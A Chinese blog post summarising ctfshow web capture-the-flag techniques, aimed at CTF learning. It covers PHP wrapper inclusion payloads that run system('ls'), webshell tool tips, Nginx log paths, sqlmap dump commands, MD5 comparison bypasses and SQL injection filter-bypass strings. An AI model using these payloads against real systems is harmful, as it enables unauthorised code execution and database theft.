当前位置: 首页 > news >正文

ctfshow——web(总结持续更新)

文章目录

  • 1、基础知识部分
  • 2、php伪协议
    • 2.1 php://input协议
    • 2.2 data://text/plain协议
  • 3、webshell连接工具
    • 3.1 蚁剑连接一句话木马
  • 4、各个web中间件重要文件路径
    • 4.1 Nginx
  • 5、sqlmap使用
  • 6、php特性
    • 6.1 md5加密漏洞
  • 7、TOP 10漏洞
    • 7.1 SQL注入

1、基础知识部分

  1. 识别base64编码:大小写+数字,偶尔最后几位是= or ++

2、php伪协议

2.1 php://input协议

关于php://input,简单来说:当php://inputinclude连用时,数据包中的post字段将会当做php代码执行。

# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  

2.2 data://text/plain协议

关于data://text/plain,简单来说:当data://text/plaininclude连用时,data://text/plain后面接着的数据会被当做php代码执行。

?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。
在这里插入图片描述

4、各个web中间件重要文件路径

4.1 Nginx

# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径

5、sqlmap使用

sqlmap常用命令:

python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数

6、php特性

6.1 md5加密漏洞

  1. md50e漏洞:就是说在使用md5()==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
  2. 当使用md5()===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。
  3. md5 true参数漏洞
    md5($string, true)ffifdyop129581926211651571912466741651878684928可以得到'or'结构的字符串。

7、TOP 10漏洞

7.1 SQL注入

SQL注入常见的测试方法就是:

  • 在参数后面加个',看返回包是否报错;
  • 使用万能密码1' or 1=1 --+,看返回包有没有反应。

登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。

SQL注入绕过:
1、空格被过滤

# 空格被过滤
username=1'or(true)#  # 用(true)代替1=1
username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/#      正常返回
id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入##或者
id=1'/**/and/**/(true)/**/#      正常返回
id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入##或者
id=1'/**/or/**/(false)#  返回一条数据
id=1'/**/or/**/(true)#  返回当前表里的所有数据

2、单引号被过滤

# 单引号被过滤
双引号代替单引号

3、with rollup(虚拟表)绕过

# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。

在这里插入图片描述

相关文章:

ctfshow——web(总结持续更新)

文章目录 1、基础知识部分2、php伪协议2.1 php://input协议2.2 data://text/plain协议 3、webshell连接工具3.1 蚁剑连接一句话木马 4、各个web中间件重要文件路径4.1 Nginx 5、sqlmap使用6、php特性6.1 md5加密漏洞 7、TOP 10漏洞7.1 SQL注入 1、基础知识部分 识别base64编码…...

selinux介绍和Linux中的防火墙

selinux 1、selinux的说明 2、selinux的工作原理 3、selinux的启动、关闭与查看 防火墙 1、什么是防火墙 2、iptables &#xff08;1&#xff09;iptables介绍 参数说明 3、firewalld firewalld-cmd的参数说明...

Jenkins面试整理-如何配置 Jenkins Pipeline?

在 Jenkins 中配置 Pipeline 是将构建、测试、部署等流程自动化的重要方式。Pipeline 可以通过一个名为 Jenkinsfile 的文件配置,它允许你使用脚本定义流水线。下面是如何在 Jenkins 中配置 Pipeline 的详细步骤。 步骤 1: 准备 Jenkinsfile Jenkinsfile 是 Jenkins Pipeline …...

Java每日刷题之二分算法

34. 在排序数组中查找元素的第一个和最后一个位置 - 力扣&#xff08;LeetCode&#xff09; 转化 通过题目时间复杂度为O(logN),我们就可以联想到二分算法&#xff0c;但是我们前面学到的算法&#xff0c;是查找出&#xff0c;有序数组里的值&#xff0c;并不是求其中的范围&a…...

【mod分享】极品飞车9仿虚幻引擎模组,支持光追,高清纹理材质,体验一会虚幻引擎风格的极品9

各位好&#xff0c;今天小编给大家带来一款新的高清重置MOD&#xff0c;本次高清重置的游戏叫《极品飞车9最高通缉》。 《极品飞车&#xff1a;最高通缉》作为一款2005年的游戏&#xff0c;《极品飞车&#xff1a;最高通缉》的画面效果还是可以的&#xff0c;效果全开之后很不…...

【启程Golang之旅】并发编程构建简易聊天系统

欢迎来到Golang的世界&#xff01;在当今快节奏的软件开发领域&#xff0c;选择一种高效、简洁的编程语言至关重要。而在这方面&#xff0c;Golang&#xff08;又称Go&#xff09;无疑是一个备受瞩目的选择。在本文中&#xff0c;带领您探索Golang的世界&#xff0c;一步步地了…...

微信小程序的开发流程

微信小程序开发流程 1. 注册微信小程序账号 进入微信公众平台&#xff08;mp.weixin.qq.com&#xff09;&#xff0c;选择小程序的账号类型按照流程进行注册。注意每个邮箱只能注册一个账号。 2. 下载开发工具 使用账号登录微信公众平台&#xff0c;在开发->开发设置-&g…...

十分钟快速让你搞懂 Vue3 和 React 的区别

前言 Vue 3和 React是市面上目前非常受欢迎的两个前端框架。它们都采用了组件化的开发模式&#xff0c;使得开发者可以将复杂的应用拆分为多个小组件进行开发&#xff0c;从而提高了代码的可维护性和重用性。然而&#xff0c;虽然Vue 3和React都拥有各自的优点&#xff0c;但它…...

头歌——机器学习(线性回归)

文章目录 线性回归简述答案 线性回归算法答案 线性回归实践 - 波斯顿房价预测LinearRegression代码 利用sklearn构建线性回归模型示例代码如下&#xff1a; 代码 线性回归简述 简单线性回归 在生活中&#xff0c;我们常常能碰到这么一种情况&#xff0c;一个变量会跟着另一个变…...

AI驱动无人驾驶:安全与效率能否兼得?

内容概要 如今&#xff0c;人工智能正以其神奇的魔力驱动着无人驾驶的浪潮&#xff0c;带来了无数令人兴奋的可能性。这一领域的最新动态显示&#xff0c;AI技术在车辆的决策过程和实时数据分析中发挥着重要作用&#xff0c;帮助车辆更聪明地应对复杂的交通环境。通过实时监测…...

使用Git LFS管理大型文件

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 使用Git LFS管理大型文件 引言 Git LFS 简介 安装 Git LFS 安装 Git 安装 Git LFS 配置 Git LFS 初始化 Git 仓库 指定需要使用…...

OpenAI终于正式上线搜索功能,搜索行业要变天了?

OpenAI 的 AI 搜索功能也将引发一场激烈的竞争。 各大科技公司都不会坐视不理&#xff0c;他们必然会纷纷加大对 AI 搜索技术的研发投入&#xff0c;试图在这个新兴的领域分一杯羹。这就像是一场没有硝烟的战争&#xff0c;各方势力都在暗中较劲&#xff0c;谁能笑到最后&…...

ssm《数据库系统原理》课程平台的设计与实现+vue

系统包含&#xff1a;源码论文 所用技术&#xff1a;SpringBootVueSSMMybatisMysql 免费提供给大家参考或者学习&#xff0c;获取源码看文章最下面 需要定制看文章最下面 目 录 目 录 I 摘 要 III ABSTRACT IV 1 绪论 1 1.1 课题背景 1 1.2 研究现状 1 1.3 研究内容…...

Java SpringBoot调用大模型AI构建AI应用

本文是一个用springboot 结合spring mvc 和spring ai alibaba 调用国产大模型通义千问的具体例子&#xff0c;按照这个做能够快速的搞定Java应用的调用。 然后就可以把这类应用泛化到所有的涉及到非结构化数据结构化的场景中。 Spring AI&#xff1a;简化Java中大模型调用的框…...

MySQL【二】

查询列 SELECT [ALL | DISTINCT ] * | 列名1[,……列名n] FROM 表名; 查询所有选课学生的学号&#xff0c;结果去除重复值 select distinct sno from sc; 选择行 查询满足条件的数据集 SELECT 字段列表 FROM 表名 WHERE 查询条件 查询不属于数学系或外国语系的学生全部信息 …...

SQL 常用语句

目录 我的测试环境 学习文档 进入数据库 基础通关测验 语句-- 查 展示数据库&#xff1b; 进入某个数据库&#xff1b; 展示表&#xff1a; 展示某个表 desc 查询整个表&#xff1a; 查询特定列&#xff1a; 范围查询 等于特定值 不等于 介于 特定字符查询 Li…...

前端埋点系统之如何用heatmap.js画网页热力图

Hello&#xff0c;大家好。在当今数字化时代&#xff0c;理解用户行为成为了企业成功的关键之一。随着互联网的发展&#xff0c;用户与网站、应用和产品的互动变得愈发复杂而多样化。在这样的背景下&#xff0c;埋点系统成为了洞察用户行为的重要工具之一。而其中的热力图分析&…...

CentOS 7系统下Redis Cluster集群一键部署脚本发布

引言 在大数据和云计算时代,Redis作为一款高性能的键值存储数据库,广泛应用于各种场景。然而,手动搭建Redis Cluster集群过程繁琐且容易出错。为了简化这一过程,本文提供了一个在CentOS 7系统下Redis Cluster集群的一键部署脚本,帮助开发者快速搭建Redis Cluster集群。 …...

自编以e为底的对数函数ln,性能接近标准库函数

算法描述&#xff1a; (1). 先做自变量x的范围检查&#xff0c;不能出现负数和0. 自己使用时&#xff0c;如果能通过其它途径保证自变量为正&#xff0c;那么可以省略这两个判断&#xff0c;提高速度。 (2). 根据IEEE 754浮点数的格式&#xff0c;&#xff0c;则 ln(x)kln(2)ln…...

Java中的日期时间

JDK8之前常用的日期时间类 System.currentTimeMillis()&#xff1a;获取当前毫秒数&#xff08;long类型&#xff09; java.util.Date&#xff1a;通用Date类 import java.util.Date;Date date new Date(); // 空参构造器 System.out.println(date.getTime()); // 获取当前时…...

golang循环变量捕获问题​​

在 Go 语言中&#xff0c;当在循环中启动协程&#xff08;goroutine&#xff09;时&#xff0c;如果在协程闭包中直接引用循环变量&#xff0c;可能会遇到一个常见的陷阱 - ​​循环变量捕获问题​​。让我详细解释一下&#xff1a; 问题背景 看这个代码片段&#xff1a; fo…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指&#xff1a;像函数调用/返回一样轻量地完成任务切换。 举例说明&#xff1a; 当你在程序中写一个函数调用&#xff1a; funcA() 然后 funcA 执行完后返回&…...

JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作

一、上下文切换 即使单核CPU也可以进行多线程执行代码&#xff0c;CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短&#xff0c;所以CPU会不断地切换线程执行&#xff0c;从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...

Java编程之桥接模式

定义 桥接模式&#xff08;Bridge Pattern&#xff09;属于结构型设计模式&#xff0c;它的核心意图是将抽象部分与实现部分分离&#xff0c;使它们可以独立地变化。这种模式通过组合关系来替代继承关系&#xff0c;从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...

腾讯云V3签名

想要接入腾讯云的Api&#xff0c;必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口&#xff0c;但总是卡在签名这一步&#xff0c;最后放弃选择SDK&#xff0c;这次终于自己代码实现。 可能腾讯云翻新了接口文档&#xff0c;现在阅读起来&#xff0c;清晰了很多&…...

uniapp 小程序 学习(一)

利用Hbuilder 创建项目 运行到内置浏览器看效果 下载微信小程序 安装到Hbuilder 下载地址 &#xff1a;开发者工具默认安装 设置服务端口号 在Hbuilder中设置微信小程序 配置 找到运行设置&#xff0c;将微信开发者工具放入到Hbuilder中&#xff0c; 打开后出现 如下 bug 解…...

十九、【用户管理与权限 - 篇一】后端基础:用户列表与角色模型的初步构建

【用户管理与权限 - 篇一】后端基础:用户列表与角色模型的初步构建 前言准备工作第一部分:回顾 Django 内置的 `User` 模型第二部分:设计并创建 `Role` 和 `UserProfile` 模型第三部分:创建 Serializers第四部分:创建 ViewSets第五部分:注册 API 路由第六部分:后端初步测…...

macOS 终端智能代理检测

&#x1f9e0; 终端智能代理检测&#xff1a;自动判断是否需要设置代理访问 GitHub 在开发中&#xff0c;使用 GitHub 是非常常见的需求。但有时候我们会发现某些命令失败、插件无法更新&#xff0c;例如&#xff1a; fatal: unable to access https://github.com/ohmyzsh/oh…...

PydanticAI快速入门示例

参考链接&#xff1a;https://ai.pydantic.dev/#why-use-pydanticai 示例代码 from pydantic_ai import Agent from pydantic_ai.models.openai import OpenAIModel from pydantic_ai.providers.openai import OpenAIProvider# 配置使用阿里云通义千问模型 model OpenAIMode…...

Qwen系列之Qwen3解读:最强开源模型的细节拆解

文章目录 1.1分钟快览2.模型架构2.1.Dense模型2.2.MoE模型 3.预训练阶段3.1.数据3.2.训练3.3.评估 4.后训练阶段S1: 长链思维冷启动S2: 推理强化学习S3: 思考模式融合S4: 通用强化学习 5.全家桶中的小模型训练评估评估数据集评估细节评估效果弱智评估和民间Arena 分析展望 如果…...